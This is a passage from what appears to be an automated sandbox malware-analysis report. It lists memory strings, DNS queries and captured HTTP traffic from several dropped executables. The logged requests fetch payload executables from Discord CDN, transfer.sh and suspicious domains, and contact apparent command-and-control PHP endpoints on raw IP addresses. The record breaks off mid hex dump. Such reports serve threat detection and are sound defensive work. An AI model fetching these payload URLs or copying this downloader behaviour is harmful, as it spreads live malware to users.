Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: 7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	String found in binary or memory: https://t.me/capibar
Source: 7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	String found in binary or memory: https://t.me/capibarl
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

Source: global traffic	HTTP traffic detected: GET /attachments/812323288264605709/924475642190397461/Hairstyle.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /get/s3SPeb/A.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /attachments/925145879403446292/925145901322879006/top.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /x009B.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: downloafilesaccess.ddns.net
Source: global traffic	HTTP traffic detected: GET /files/5376_1640094939_1074.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytools-foryou-777.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /tratata.php HTTP/1.1Host: file-file-host4.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: file-file-host4.comCache-Control: no-cacheCookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9
Source: global traffic	HTTP traffic detected: GET /files/2264_1640622147_2258.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /stlr/maps.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 91.243.44.128
Source: global traffic	HTTP traffic detected: GET /POeNDXYchB.php HTTP/1.1Host: 185.7.214.239Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 185.7.214.239Cache-Control: no-cacheCookie: PHPSESSID=qnbju213plqa6o6fit9kdukud5

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 1a b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4b ef ae 8a 70 bc 57 dd 42 d6 f7 23 8c 21 e6 c3 93 50 2c e2 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9KpWB#!P,c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:43 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeData Raw: 31 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 64 61 74 61 2d 68 6f 73 74 2d 63 6f 69 6e 2d 38 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 11a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at data-host-coin-8.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 02 e9 1a d1 70 ae 59 4a d9 52 a6 be 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOjpYJRg%XQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 